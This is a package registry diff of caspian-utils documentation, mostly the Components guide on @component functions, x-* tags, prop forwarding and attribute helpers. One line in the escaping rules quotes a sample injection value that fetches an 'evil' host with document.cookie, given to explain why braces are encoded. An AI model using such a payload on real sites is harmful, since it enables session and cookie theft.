caspian-utils 0.1.26 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/docs/auth.md +7 -6
- package/dist/docs/components.md +281 -213
- package/dist/docs/core-runtime-map.md +4 -4
- package/dist/docs/fetch-data.md +19 -1
- package/dist/docs/project-structure.md +62 -62
- package/dist/docs/pulsepoint-runtime-map.md +63 -17
- package/dist/docs/pulsepoint.md +183 -5
- package/package.json +1 -1
package/dist/docs/components.md
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
---
|
|
2
2
|
title: Components
|
|
3
|
-
description: Use this page when the task mentions `@component`, reusable UI, HTML-first `x-*` component tags, component imports, same-name `.html` templates, forwarding Python component props to `pp.props`, `get_attributes(...)`, `merge_classes(...)`, `twMerge(...)`, or where shared components belong in a Caspian project.
|
|
3
|
+
description: Use this page when the task mentions `@component`, reusable UI, HTML-first `x-*` component tags, component imports, same-name `.html` templates, forwarding Python component props to `pp.props`, `get_attributes(...)`, `merge_classes(...)`, `twMerge(...)`, or where shared components belong in a Caspian project.
|
|
4
4
|
related:
|
|
5
5
|
title: Related docs
|
|
6
6
|
description: Use the structure guide for file placement, the routing guide for route templates, the PulsePoint guide for browser-side scripts, and the data guide for component-owned RPC flows.
|
|
@@ -16,7 +16,7 @@ related:
|
|
|
16
16
|
|
|
17
17
|
Components in Caspian are implemented as Python functions decorated with `@component`.
|
|
18
18
|
|
|
19
|
-
In authored route, layout, or component HTML files, import them with a top-of-file `@import` comment and render them with HTML-first kebab-cased `x-*` tags such as `<x-my-component />` or `<x-my-component>...</x-my-component>`.
|
|
19
|
+
In authored route, layout, or component HTML files, import them with a top-of-file `@import` comment and render them with HTML-first kebab-cased `x-*` tags such as `<x-my-component />` or `<x-my-component>...</x-my-component>`.
|
|
20
20
|
|
|
21
21
|
Treat that `x-*` form as the current Caspian component contract for authored templates.
|
|
22
22
|
|
|
@@ -26,13 +26,13 @@ As the app grows, treat `src/components/` as the default home for reusable appli
|
|
|
26
26
|
|
|
27
27
|
## Mental Model
|
|
28
28
|
|
|
29
|
-
- Use a Python component when you want a reusable server-rendered UI building block.
|
|
30
|
-
- Return an HTML string directly for small presentational components.
|
|
31
|
-
- Use `html(...)` to keep markup, server interpolation, and a PulsePoint `<script>` inline in one Python file (single-file component) for a small or medium UI responsibility. It renders through Caspian's Jinja env, so `{{ ... }}` is server-side and `{ ... }` stays for PulsePoint.
|
|
32
|
-
- Use `render_html(...)` with a same-name `.html` file when the component has large markup, a long script, or you want clearer separation between Python logic and UI.
|
|
33
|
-
- Split UI by responsibility the way you would split React components. Single-file component authoring is a file shape, not permission to put a full page, dashboard, or all tab panels into one Python file.
|
|
34
|
-
- When a component needs first-party interactivity, bind events in the component template with PulsePoint-handled `on*` attributes and keep state in `pp.state(...)`; do not build id-driven `querySelector(...)` or `addEventListener(...)` wiring for normal component behavior.
|
|
35
|
-
- Keep page-level workflows in `src/app/`, move reusable UI into `src/components/`, and keep helpers, services, validators, and adapters in `src/lib/`.
|
|
29
|
+
- Use a Python component when you want a reusable server-rendered UI building block.
|
|
30
|
+
- Return an HTML string directly for small presentational components.
|
|
31
|
+
- Use `html(...)` to keep markup, server interpolation, and a PulsePoint `<script>` inline in one Python file (single-file component) for a small or medium UI responsibility. It renders through Caspian's Jinja env, so `{{ ... }}` is server-side and `{ ... }` stays for PulsePoint.
|
|
32
|
+
- Use `render_html(...)` with a same-name `.html` file when the component has large markup, a long script, or you want clearer separation between Python logic and UI.
|
|
33
|
+
- Split UI by responsibility the way you would split React components. Single-file component authoring is a file shape, not permission to put a full page, dashboard, or all tab panels into one Python file.
|
|
34
|
+
- When a component needs first-party interactivity, bind events in the component template with PulsePoint-handled `on*` attributes and keep state in `pp.state(...)`; do not build id-driven `querySelector(...)` or `addEventListener(...)` wiring for normal component behavior.
|
|
35
|
+
- Keep page-level workflows in `src/app/`, move reusable UI into `src/components/`, and keep helpers, services, validators, and adapters in `src/lib/`.
|
|
36
36
|
|
|
37
37
|
## Framework Internals Note
|
|
38
38
|
|
|
@@ -108,7 +108,7 @@ Authored PulsePoint examples:
|
|
|
108
108
|
|
|
109
109
|
## Import And Use Components
|
|
110
110
|
|
|
111
|
-
Place component imports at the top of the HTML template, above the authored root element.
|
|
111
|
+
Place component imports at the top of the HTML template, above the authored root element.
|
|
112
112
|
|
|
113
113
|
```html
|
|
114
114
|
<!-- @import Container from "../components" -->
|
|
@@ -122,7 +122,7 @@ The import comment is the bridge between the Python component export and the `x-
|
|
|
122
122
|
|
|
123
123
|
In section-based apps, follow the same mental model as the Next.js App Router: import shared shell components such as sidebars, topbars, breadcrumbs, and section frames in the parent folder's `layout.html`, then import page-specific components in each child route's `index.html`.
|
|
124
124
|
|
|
125
|
-
Treat `<!-- @import ... -->` as a file-level directive, not as rendered markup. It does not count as the template root, and it must not be nested inside the root wrapper element. In route and layout files, this means the import comments come before the first authored tag in `index.html` or `layout.html`.
|
|
125
|
+
Treat `<!-- @import ... -->` as a file-level directive, not as rendered markup. It does not count as the template root, and it must not be nested inside the root wrapper element. In route and layout files, this means the import comments come before the first authored tag in `index.html` or `layout.html`.
|
|
126
126
|
|
|
127
127
|
- `<!-- @import Container from "../components" -->` resolves `Container.py` from that folder.
|
|
128
128
|
- The exported component name maps to the tag you render by kebab-casing it and prefixing `x-`, such as `Container` for `<x-container />` or `CommandDialog` for `<x-command-dialog />`.
|
|
@@ -142,14 +142,14 @@ Good:
|
|
|
142
142
|
</section>
|
|
143
143
|
```
|
|
144
144
|
|
|
145
|
-
Bad:
|
|
146
|
-
|
|
147
|
-
```html
|
|
148
|
-
<section class="auth-panel auth-panel-compact fade-up">
|
|
149
|
-
<!-- @import { Button, Input, Label } from "../../../lib/maddex" -->
|
|
150
|
-
<x-label>Email</x-label>
|
|
151
|
-
</section>
|
|
152
|
-
```
|
|
145
|
+
Bad:
|
|
146
|
+
|
|
147
|
+
```html
|
|
148
|
+
<section class="auth-panel auth-panel-compact fade-up">
|
|
149
|
+
<!-- @import { Button, Input, Label } from "../../../lib/maddex" -->
|
|
150
|
+
<x-label>Email</x-label>
|
|
151
|
+
</section>
|
|
152
|
+
```
|
|
153
153
|
|
|
154
154
|
### Same-File Component Exports
|
|
155
155
|
|
|
@@ -222,13 +222,13 @@ Use this split when:
|
|
|
222
222
|
|
|
223
223
|
This keeps the component easy to read: Python owns the server-side logic and template context, while the HTML file owns the rendered UI and browser behavior.
|
|
224
224
|
|
|
225
|
-
## Single-File Components With `html(...)`
|
|
226
|
-
|
|
227
|
-
When a component is small or medium, keep the markup, server-side interpolation, and the PulsePoint `<script>` inline in the Python file instead of a sibling `.html`. Import `html` from `casp.component_decorator` and return `html("""...""", **context)`.
|
|
228
|
-
|
|
229
|
-
Single-file does not mean one file per page. Treat each single-file component like a React component with one clear responsibility. If a screen has an overview tab, an activity tab, and a settings tab, those substantial panels should normally be separate components such as `OverviewTab.py`, `ActivityTab.py`, and `SettingsTab.py`, assembled by a small tab shell or the route template. If one component is growing because it owns unrelated forms, tables, charts, and action bars, split those responsibilities and pass the needed data as props.
|
|
230
|
-
|
|
231
|
-
`html(...)` renders the string through the same Jinja environment Caspian uses for template files, so three brace dialects coexist without colliding:
|
|
225
|
+
## Single-File Components With `html(...)`
|
|
226
|
+
|
|
227
|
+
When a component is small or medium, keep the markup, server-side interpolation, and the PulsePoint `<script>` inline in the Python file instead of a sibling `.html`. Import `html` from `casp.component_decorator` and return `html("""...""", **context)`.
|
|
228
|
+
|
|
229
|
+
Single-file does not mean one file per page. Treat each single-file component like a React component with one clear responsibility. If a screen has an overview tab, an activity tab, and a settings tab, those substantial panels should normally be separate components such as `OverviewTab.py`, `ActivityTab.py`, and `SettingsTab.py`, assembled by a small tab shell or the route template. If one component is growing because it owns unrelated forms, tables, charts, and action bars, split those responsibilities and pass the needed data as props.
|
|
230
|
+
|
|
231
|
+
`html(...)` renders the string through the same Jinja environment Caspian uses for template files, so three brace dialects coexist without colliding:
|
|
232
232
|
|
|
233
233
|
- `{{ value }}` is server render (Python to HTML).
|
|
234
234
|
- `{{ value | json }}` safely serializes a server value into a `<script>`.
|
|
@@ -257,118 +257,186 @@ def UserCard(user, **props):
|
|
|
257
257
|
""", attrs=attrs, user=user)
|
|
258
258
|
```
|
|
259
259
|
|
|
260
|
-
The returned value is `Markup`, so the normal pipeline still injects `pp-component` on the single root and `transform_scripts(...)` rewrites the plain `<script>` to `type="text/pp"`. A single-file component renders identically to the two-file `render_html(...)` form; the choice is purely about readability.
|
|
261
|
-
|
|
262
|
-
### Receiving Props In A Python Component
|
|
263
|
-
|
|
264
|
-
There are two separate prop handoffs in a single-file Python component, and the Python component is the bridge between them:
|
|
265
|
-
|
|
266
|
-
1. Caspian converts attributes on the parent-authored `x-*` tag from kebab-case to camelCase and calls the Python component with them as string keyword arguments. PulsePoint expressions are not evaluated at this stage: `open="{permOpen}"` arrives in Python as the literal string `"{permOpen}"`, and `on-apply="{applyPermissions}"` arrives as `onApply="{applyPermissions}"`.
|
|
267
|
-
2. The Python component must deliberately re-emit the props it wants the browser component to receive as attributes on its rendered root. Build those attributes with `get_attributes({...}, props)`, place `{{ attributes }}` on the single native root, and pass `attributes=attributes` to `html(...)`.
|
|
268
|
-
3. PulsePoint derives `pp.props` from that rendered root. It evaluates pure `{expression}` attribute values in the parent component's scope, then exposes kebab-case root attribute names as camelCase keys such as `on-apply` -> `pp.props.onApply`.
|
|
269
|
-
|
|
270
|
-
Python function parameters do not automatically become root attributes or browser props. A parameter that is accepted but not included in `get_attributes(...)` is server-only and is discarded when the Python call returns.
|
|
271
|
-
|
|
272
|
-
Minimal end-to-end example:
|
|
273
|
-
|
|
274
|
-
Parent template:
|
|
275
|
-
|
|
276
|
-
```html
|
|
277
|
-
<!-- @import { UserPermissionsDialog } from "../../components/UserPermissionsDialog.py" -->
|
|
278
|
-
|
|
279
|
-
<div>
|
|
280
|
-
<button onclick="setPermOpen(true)">Edit permissions</button>
|
|
281
|
-
<x-user-permissions-dialog
|
|
282
|
-
open="{permOpen}"
|
|
283
|
-
value="{permValue}"
|
|
284
|
-
on-open-change="{setPermOpen}"
|
|
285
|
-
on-apply="{applyPermissions}"
|
|
286
|
-
/>
|
|
287
|
-
|
|
288
|
-
<script>
|
|
289
|
-
const [permOpen, setPermOpen] = pp.state(false);
|
|
290
|
-
const [permValue, setPermValue] = pp.state([]);
|
|
291
|
-
|
|
292
|
-
function applyPermissions(nextValue) {
|
|
293
|
-
setPermValue(nextValue);
|
|
294
|
-
setPermOpen(false);
|
|
295
|
-
}
|
|
296
|
-
</script>
|
|
297
|
-
</div>
|
|
298
|
-
```
|
|
299
|
-
|
|
300
|
-
`UserPermissionsDialog.py`:
|
|
301
|
-
|
|
302
|
-
```python
|
|
303
|
-
from casp.component_decorator import component, html
|
|
304
|
-
from casp.html_attrs import get_attributes, merge_classes
|
|
305
|
-
|
|
306
|
-
@component
|
|
307
|
-
def UserPermissionsDialog(
|
|
308
|
-
open=None,
|
|
309
|
-
value=None,
|
|
310
|
-
onOpenChange=None,
|
|
311
|
-
onApply=None,
|
|
312
|
-
**props,
|
|
313
|
-
):
|
|
314
|
-
incoming_class = props.pop("class", "")
|
|
315
|
-
attributes = get_attributes({
|
|
316
|
-
"class": merge_classes("permissions-dialog", incoming_class),
|
|
317
|
-
"open": open,
|
|
318
|
-
"value": value,
|
|
319
|
-
"onOpenChange": onOpenChange,
|
|
320
|
-
"onApply": onApply,
|
|
321
|
-
}, props)
|
|
322
|
-
|
|
323
|
-
# html
|
|
324
|
-
return html("""
|
|
325
|
-
<section {{ attributes }} hidden="{!open}">
|
|
326
|
-
<p>Selected permissions: {value.length}</p>
|
|
327
|
-
<button onclick="onOpenChange(false)">Cancel</button>
|
|
328
|
-
<button onclick="onApply(value)">Apply</button>
|
|
329
|
-
|
|
330
|
-
<script>
|
|
331
|
-
const { open, value, onOpenChange, onApply } = pp.props;
|
|
332
|
-
</script>
|
|
333
|
-
</section>
|
|
334
|
-
""", attributes=attributes)
|
|
335
|
-
```
|
|
336
|
-
|
|
337
|
-
The browser can evaluate `permOpen`, `permValue`, `setPermOpen`, and `applyPermissions` because their literal brace expressions survived the Python render and were placed on the child root. If `{{ attributes }}` or `attributes=attributes` is missing, `pp.props` has none of those forwarded keys and may be completely empty.
|
|
338
|
-
|
|
339
|
-
Pitfalls:
|
|
340
|
-
|
|
341
|
-
- **Silent empty `pp.props`:** accepting `open`, `value`, or callback parameters in Python without re-emitting them on the root raises no server error and no browser warning. The component renders, but those keys are absent from `pp.props` and values such as `pp.props.open` are `undefined`.
|
|
342
|
-
- **Reserved/native attribute collisions:** forwarded props are real DOM attributes. A prop named `title` produces the native `title="..."` tooltip on the root. Prefer a component-specific non-native name such as `user-name` (Python `userName`, browser `pp.props.userName`) when native behavior is not intended.
|
|
343
|
-
- `get_attributes(...)` omits empty strings. To pass a reactive boolean, prefer a pure expression such as `disabled="{isDisabled}"` rather than relying on a bare empty attribute to survive the Python bridge.
|
|
344
|
-
|
|
345
|
-
###
|
|
346
|
-
|
|
347
|
-
`
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
361
|
-
|
|
362
|
-
|
|
363
|
-
|
|
364
|
-
|
|
365
|
-
|
|
366
|
-
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
260
|
+
The returned value is `Markup`, so the normal pipeline still injects `pp-component` on the single root and `transform_scripts(...)` rewrites the plain `<script>` to `type="text/pp"`. A single-file component renders identically to the two-file `render_html(...)` form; the choice is purely about readability.
|
|
261
|
+
|
|
262
|
+
### Receiving Props In A Python Component
|
|
263
|
+
|
|
264
|
+
There are two separate prop handoffs in a single-file Python component, and the Python component is the bridge between them:
|
|
265
|
+
|
|
266
|
+
1. Caspian converts attributes on the parent-authored `x-*` tag from kebab-case to camelCase and calls the Python component with them as string keyword arguments. PulsePoint expressions are not evaluated at this stage: `open="{permOpen}"` arrives in Python as the literal string `"{permOpen}"`, and `on-apply="{applyPermissions}"` arrives as `onApply="{applyPermissions}"`.
|
|
267
|
+
2. The Python component must deliberately re-emit the props it wants the browser component to receive as attributes on its rendered root. Build those attributes with `get_attributes({...}, props)`, place `{{ attributes }}` on the single native root, and pass `attributes=attributes` to `html(...)`.
|
|
268
|
+
3. PulsePoint derives `pp.props` from that rendered root. It evaluates pure `{expression}` attribute values in the parent component's scope, then exposes kebab-case root attribute names as camelCase keys such as `on-apply` -> `pp.props.onApply`.
|
|
269
|
+
|
|
270
|
+
Python function parameters do not automatically become root attributes or browser props. A parameter that is accepted but not included in `get_attributes(...)` is server-only and is discarded when the Python call returns.
|
|
271
|
+
|
|
272
|
+
Minimal end-to-end example:
|
|
273
|
+
|
|
274
|
+
Parent template:
|
|
275
|
+
|
|
276
|
+
```html
|
|
277
|
+
<!-- @import { UserPermissionsDialog } from "../../components/UserPermissionsDialog.py" -->
|
|
278
|
+
|
|
279
|
+
<div>
|
|
280
|
+
<button onclick="setPermOpen(true)">Edit permissions</button>
|
|
281
|
+
<x-user-permissions-dialog
|
|
282
|
+
open="{permOpen}"
|
|
283
|
+
value="{permValue}"
|
|
284
|
+
on-open-change="{setPermOpen}"
|
|
285
|
+
on-apply="{applyPermissions}"
|
|
286
|
+
/>
|
|
287
|
+
|
|
288
|
+
<script>
|
|
289
|
+
const [permOpen, setPermOpen] = pp.state(false);
|
|
290
|
+
const [permValue, setPermValue] = pp.state([]);
|
|
291
|
+
|
|
292
|
+
function applyPermissions(nextValue) {
|
|
293
|
+
setPermValue(nextValue);
|
|
294
|
+
setPermOpen(false);
|
|
295
|
+
}
|
|
296
|
+
</script>
|
|
297
|
+
</div>
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
`UserPermissionsDialog.py`:
|
|
301
|
+
|
|
302
|
+
```python
|
|
303
|
+
from casp.component_decorator import component, html
|
|
304
|
+
from casp.html_attrs import get_attributes, merge_classes
|
|
305
|
+
|
|
306
|
+
@component
|
|
307
|
+
def UserPermissionsDialog(
|
|
308
|
+
open=None,
|
|
309
|
+
value=None,
|
|
310
|
+
onOpenChange=None,
|
|
311
|
+
onApply=None,
|
|
312
|
+
**props,
|
|
313
|
+
):
|
|
314
|
+
incoming_class = props.pop("class", "")
|
|
315
|
+
attributes = get_attributes({
|
|
316
|
+
"class": merge_classes("permissions-dialog", incoming_class),
|
|
317
|
+
"open": open,
|
|
318
|
+
"value": value,
|
|
319
|
+
"onOpenChange": onOpenChange,
|
|
320
|
+
"onApply": onApply,
|
|
321
|
+
}, props)
|
|
322
|
+
|
|
323
|
+
# html
|
|
324
|
+
return html("""
|
|
325
|
+
<section {{ attributes }} hidden="{!open}">
|
|
326
|
+
<p>Selected permissions: {value.length}</p>
|
|
327
|
+
<button onclick="onOpenChange(false)">Cancel</button>
|
|
328
|
+
<button onclick="onApply(value)">Apply</button>
|
|
329
|
+
|
|
330
|
+
<script>
|
|
331
|
+
const { open, value, onOpenChange, onApply } = pp.props;
|
|
332
|
+
</script>
|
|
333
|
+
</section>
|
|
334
|
+
""", attributes=attributes)
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
The browser can evaluate `permOpen`, `permValue`, `setPermOpen`, and `applyPermissions` because their literal brace expressions survived the Python render and were placed on the child root. If `{{ attributes }}` or `attributes=attributes` is missing, `pp.props` has none of those forwarded keys and may be completely empty.
|
|
338
|
+
|
|
339
|
+
Pitfalls:
|
|
340
|
+
|
|
341
|
+
- **Silent empty `pp.props`:** accepting `open`, `value`, or callback parameters in Python without re-emitting them on the root raises no server error and no browser warning. The component renders, but those keys are absent from `pp.props` and values such as `pp.props.open` are `undefined`.
|
|
342
|
+
- **Reserved/native attribute collisions:** forwarded props are real DOM attributes. A prop named `title` produces the native `title="..."` tooltip on the root. Prefer a component-specific non-native name such as `user-name` (Python `userName`, browser `pp.props.userName`) when native behavior is not intended.
|
|
343
|
+
- `get_attributes(...)` omits empty strings. To pass a reactive boolean, prefer a pure expression such as `disabled="{isDisabled}"` rather than relying on a bare empty attribute to survive the Python bridge.
|
|
344
|
+
|
|
345
|
+
### Every Prop A Template Reads Must Be Forwarded To The Root
|
|
346
|
+
|
|
347
|
+
This is the most common cause of `hidden="{...}"`, `class="{...}"`, and value bindings silently failing inside a Caspian component.
|
|
348
|
+
|
|
349
|
+
PulsePoint computes `pp.props` from the **rendered root element's attributes**, not from the Python signature. `get_attributes(defaults, overrides)` emits only the keys present in the two dictionaries it is given. A named Python parameter is consumed out of `**props`, so it is no longer in the passthrough dictionary — if it is not also listed in `defaults`, it never reaches the root, and `pp.props.<name>` is `undefined`.
|
|
350
|
+
|
|
351
|
+
Nothing warns about this. The server renders, the component mounts, and every expression referencing the missing prop quietly evaluates against `undefined`.
|
|
352
|
+
|
|
353
|
+
Broken — only `controlsVisible` reaches the browser:
|
|
354
|
+
|
|
355
|
+
```python
|
|
356
|
+
@component
|
|
357
|
+
def PlayerControls(title="Movie", playing=None, volume=None, controlsVisible=None, **props):
|
|
358
|
+
attributes = get_attributes({"controlsVisible": controlsVisible}, props)
|
|
359
|
+
```
|
|
360
|
+
|
|
361
|
+
```html
|
|
362
|
+
<!-- volume is undefined: `undefined === 0` and `undefined > 0` are both false, -->
|
|
363
|
+
<!-- so both icons render and the toggle looks dead -->
|
|
364
|
+
<x-volume hidden="{volume === 0}" />
|
|
365
|
+
<x-volume-x hidden="{volume > 0}" />
|
|
366
|
+
```
|
|
367
|
+
|
|
368
|
+
Fixed — forward every prop the template references:
|
|
369
|
+
|
|
370
|
+
```python
|
|
371
|
+
attributes = get_attributes({
|
|
372
|
+
"title": title,
|
|
373
|
+
"playing": playing,
|
|
374
|
+
"volume": volume,
|
|
375
|
+
"controlsVisible": controlsVisible,
|
|
376
|
+
}, props)
|
|
377
|
+
```
|
|
378
|
+
|
|
379
|
+
Boolean toggles hide this bug well: with `playing` undefined, `hidden="{playing}"` and `hidden="{!playing}"` still pick one branch, so the initial paint can look correct while never reacting to state changes.
|
|
380
|
+
|
|
381
|
+
#### Forwarding Alone Is Not Enough: The Value-Type Contract
|
|
382
|
+
|
|
383
|
+
Listing a prop fixes presence, not type. What `pp.props` receives depends on how the value reaches the root attribute:
|
|
384
|
+
|
|
385
|
+
| Attribute on the rendered root | `typeof pp.props.x` | Value |
|
|
386
|
+
| --- | --- | --- |
|
|
387
|
+
| `volume="{vol}"` — an unevaluated brace expression | the real type | evaluated in the **parent** component's scope |
|
|
388
|
+
| `volume="0"` — a literal, from a Python value | `"string"` | `"0"` |
|
|
389
|
+
| `is-fullscreen="true"` — a literal | `"string"` | `"true"` (and `"false"` is also truthy) |
|
|
390
|
+
| `bare-flag` — valueless attribute | `"boolean"` | `true` |
|
|
391
|
+
| `class="..."` — a JS reserved word | `"undefined"` | dropped from `pp.props` entirely |
|
|
392
|
+
| not present | `"undefined"` | — |
|
|
393
|
+
|
|
394
|
+
Consequences to design around:
|
|
395
|
+
|
|
396
|
+
- `volume === 0` is **false** when the value arrived as the literal string `"0"`. Strict comparisons only behave numerically when the parent passed a brace expression such as `volume="{vol}"`, which survives the Python render as literal text and is evaluated in parent scope by the browser. When a Python default or server-computed value is the source, compare loosely, coerce with `Number(...)`, or normalize in the component script.
|
|
397
|
+
- Reserved words are stripped by the runtime, so `pp.props.class` never exists. Use `class_name`/`className` in Python for the DOM `class` attribute, and a non-reserved prop name when the script must read the value.
|
|
398
|
+
- `get_attributes(...)` omits `None`, `False`, `""`, and empty collections. A prop listed with one of those values is still absent from `pp.props`, so `pp.props.playing` is `undefined` rather than `false`. Read booleans defensively (`!!pp.props.playing`) or default them when destructuring.
|
|
399
|
+
- Forwarded props are real DOM attributes and camelCase becomes kebab-case, so `isFullscreen` renders as `is-fullscreen` and returns as `pp.props.isFullscreen`.
|
|
400
|
+
|
|
401
|
+
#### Checklist
|
|
402
|
+
|
|
403
|
+
For any Python component that accepts props, calls `get_attributes({...}, props)`, and has a `<script>` reading `pp.props`:
|
|
404
|
+
|
|
405
|
+
1. List every variable the template's `{...}` expressions reference in the `get_attributes` defaults dictionary.
|
|
406
|
+
2. Confirm `{{ attributes }}` is on the single root and `attributes=attributes` is passed into `html(...)`.
|
|
407
|
+
3. For strict comparisons (`=== 0`, `=== "x"`), confirm the value arrives as a brace expression, or coerce it in the script.
|
|
408
|
+
4. Avoid prop names that are JS reserved words or unintended native attributes (`title`, `class`, `for`).
|
|
409
|
+
|
|
410
|
+
### HTML Attribute Helper Contract
|
|
411
|
+
|
|
412
|
+
`casp.html_attrs.get_attributes(defaults, overrides=None)` builds one Jinja-safe attribute string for a component root:
|
|
413
|
+
|
|
414
|
+
- It processes the first dictionary, then the optional second dictionary. A non-empty value in `overrides` replaces the same normalized key from `defaults`. An omitted/empty override does not delete an already-renderable default. This is why the usual component pattern passes authored defaults first and remaining `**props` second.
|
|
415
|
+
- It resolves Python-safe aliases before normalization: `class_name` and `className` become `class`, `html_for` and `htmlFor` become `for`, `defaultValue` becomes `defaultvalue`, and `defaultChecked` becomes `defaultchecked`.
|
|
416
|
+
- It converts every other camelCase key to kebab-case, so `onOpenChange` renders as `on-open-change` and later becomes `pp.props.onOpenChange` in PulsePoint.
|
|
417
|
+
- It omits keys whose value is `None`, `False`, an empty string, or an empty/falsy list, tuple, or set. `True` renders as the explicit string `"true"`; non-empty iterables are space-joined.
|
|
418
|
+
- It HTML-escapes attribute values and returns `Markup`, so `{{ attributes }}` is not double-escaped by Jinja.
|
|
419
|
+
- Passing `**props` as the second dictionary is the passthrough contract for unconsumed `id`, `data-*`, `aria-*`, reactive expressions, callbacks, and other boundary attributes. Pop or otherwise consume a prop first when it should not be forwarded or when it has already been merged into a default.
|
|
420
|
+
|
|
421
|
+
`casp.html_attrs.merge_classes(*classes)` flattens truthy strings and truthy items from lists, tuples, or sets:
|
|
422
|
+
|
|
423
|
+
- When `caspian.config.json` has `tailwindcss: false`, it joins the class parts with spaces.
|
|
424
|
+
- When `tailwindcss: true`, it emits a PulsePoint expression such as `{twMerge("base classes", incomingClass)}` so the browser's global `twMerge(...)` resolves Tailwind conflicts after parent-scope prop evaluation.
|
|
425
|
+
- An incoming pure `{expression}` becomes an expression argument rather than a quoted string. An existing `{twMerge(...)}` expression is preserved or incorporated without nesting another `twMerge(...)` call.
|
|
426
|
+
- Empty inputs produce an empty string, which `get_attributes(...)` omits.
|
|
427
|
+
- When combining a default class with incoming `**props`, remove the incoming `class` from `props` before passing `props` as overrides; otherwise that later override replaces the merged class attribute.
|
|
428
|
+
|
|
429
|
+
Rules for inline `html(...)`:
|
|
430
|
+
|
|
431
|
+
- The single-root rule still applies: exactly one top-level element with any `<script>` nested inside it.
|
|
432
|
+
- Keep the component focused on one UI responsibility. Prefer composing several single-file components over one long Python file that contains multiple sections, tab panels, or workflows.
|
|
433
|
+
- Pass data, labels, variants, current selection, counts, permissions, or callbacks as props instead of making child components reach back into route markup or duplicate parent state.
|
|
434
|
+
- Component attributes are props regardless of the value type. Kebab-case names become camel-cased in `pp.props`, so callbacks may be authored as `on-open-change="{setOpen}"`, `open-change="{setOpen}"`, or `select-first="{selectFirst}"` according to the component API. The `on-` prefix is conventional, not required. Lowercase native DOM event attributes such as `onclick` and `oninput` remain events on the boundary element; use `on-click` only when the component API intentionally exposes an `onClick` prop.
|
|
435
|
+
- Autoescaping is ON (Jinja default), so `{{ value }}` escapes HTML automatically and user text is safe without `| e`. The flip side: trusted HTML you want rendered as-is must be `Markup(...)` or piped through `| safe`.
|
|
436
|
+
- Braces are escaped too, and for a reason HTML escaping does not cover. PulsePoint compiles the *rendered DOM*, turning any `{expr}` that parses as JavaScript into an evaluated expression. Braces are not HTML-special, so a stored value like `{fetch('//evil/'+document.cookie)}` would survive autoescape and then execute. The engine's Jinja `finalize` hook therefore encodes `{` and `}` as `{`/`}` on every non-`Markup` value, and the escaped entities render as literal braces.
|
|
437
|
+
- `Markup` is the trust boundary for both escapes. `| safe`, `Markup(...)`, `get_attributes(...)`, `merge_classes(...)`, the `json`/`dump` filters, and `children` all return `Markup`, so framework-generated PulsePoint syntax such as `{twMerge(...)}` stays live. The rule for new helpers: one that *emits* PulsePoint syntax must return `Markup`; one that *formats user data* must not, or it re-opens the injection.
|
|
438
|
+
- Consequence worth knowing: you cannot build a PulsePoint expression on the server by interpolating a plain string (`class="{{ some_expr }}"` renders inert). Author the expression in the template, or return `Markup` from the helper that produces it.
|
|
439
|
+
- A `children` value is auto-marked safe (parity with `render_html(...)`), so `{{ children }}` renders nested component markup correctly without `| safe`.
|
|
372
440
|
- Do not use a Python f-string for the markup. PulsePoint single braces `{ ... }` would collide with f-string interpolation. Use a plain triple-quoted string passed to `html(...)`.
|
|
373
441
|
- Prefer `render_html(...)` with a same-name `.html` file when the markup is large or the `<script>` carries real logic. A long client script is a smell regardless of file shape; move heavy work into `@rpc()` actions or smaller composed components.
|
|
374
442
|
|
|
@@ -422,14 +490,14 @@ def Counter(label: str = "Clicks", **props):
|
|
|
422
490
|
|
|
423
491
|
The fix is always the same: move the `<script>` above the root's closing tag so the whole return value is one element. Caspian has no fragment syntax — the single root must be a real native element — so if a component genuinely needs sibling-looking sections, wrap them all in one outer element (a `<div>` or `<section>`) and keep the script inside that wrapper. This rule is identical for the two-file `render_html(...)` form, so the same `.html` file must also end with `</script></root>` rather than `</root>` followed by a trailing `<script>`.
|
|
424
492
|
|
|
425
|
-
## Component Imports: Python Imports Or `@import`
|
|
426
|
-
|
|
427
|
-
A component can render other components with `x-*` tags in either the two-file `.html` or the inline `html(...)` form. There are two ways to tell Caspian which component a tag refers to.
|
|
428
|
-
|
|
429
|
-
1. The `<!-- @import Name from "path" -->` HTML comment, resolved by path string. Use this as a top-of-file directive in authored `.html` templates, above the single root element.
|
|
430
|
-
2. A real Python import at the top of the component module. A component's own `x-*` tags resolve from the components imported into that module, with no `@import` comment needed.
|
|
431
|
-
|
|
432
|
-
For single-file Python components that return `html("""...""")`, use real Python imports for child components. Do not put `<!-- @import ... -->` inside the returned HTML string. The compiler can parse local import comments, but that is a permissive fallback, not the authoring pattern for single-file components. Python imports are the unambiguous source of truth for which component a tag refers to, they give normal editor navigation, and they prevent same-name collisions across directories. If `variantA/Tag.py` and `variantB/Tag.py` both export `Tag`, the Python import in each consumer file decides which `Tag` its `<x-tag>` resolves to.
|
|
493
|
+
## Component Imports: Python Imports Or `@import`
|
|
494
|
+
|
|
495
|
+
A component can render other components with `x-*` tags in either the two-file `.html` or the inline `html(...)` form. There are two ways to tell Caspian which component a tag refers to.
|
|
496
|
+
|
|
497
|
+
1. The `<!-- @import Name from "path" -->` HTML comment, resolved by path string. Use this as a top-of-file directive in authored `.html` templates, above the single root element.
|
|
498
|
+
2. A real Python import at the top of the component module. A component's own `x-*` tags resolve from the components imported into that module, with no `@import` comment needed.
|
|
499
|
+
|
|
500
|
+
For single-file Python components that return `html("""...""")`, use real Python imports for child components. Do not put `<!-- @import ... -->` inside the returned HTML string. The compiler can parse local import comments, but that is a permissive fallback, not the authoring pattern for single-file components. Python imports are the unambiguous source of truth for which component a tag refers to, they give normal editor navigation, and they prevent same-name collisions across directories. If `variantA/Tag.py` and `variantB/Tag.py` both export `Tag`, the Python import in each consumer file decides which `Tag` its `<x-tag>` resolves to.
|
|
433
501
|
|
|
434
502
|
```python
|
|
435
503
|
from casp.component_decorator import component, html
|
|
@@ -448,15 +516,15 @@ def Panel(children="", **props):
|
|
|
448
516
|
